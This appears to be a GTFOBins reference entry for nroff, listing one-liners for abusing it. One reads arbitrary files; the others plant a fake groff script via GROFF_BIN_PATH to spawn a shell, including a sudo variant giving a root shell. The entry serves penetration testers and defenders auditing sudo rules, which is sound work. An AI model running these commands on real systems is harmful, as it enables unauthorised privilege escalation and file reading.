GTFOBins.github.io/_gtfobins/nroff.md
2020-11-13 11:57:13 +01:00

535 B

functions
file-read shell sudo
description code
The read file content is corrupted by arbitrary newlines. LFILE=file_to_read nroff $LFILE
code
TF=$(mktemp -d) echo '#!/bin/sh' > $TF/groff echo '/bin/sh' >> $TF/groff chmod +x $TF/groff GROFF_BIN_PATH=$TF nroff
code
TF=$(mktemp -d) echo '#!/bin/sh' > $TF/groff echo '/bin/sh' >> $TF/groff chmod +x $TF/groff sudo GROFF_BIN_PATH=$TF nroff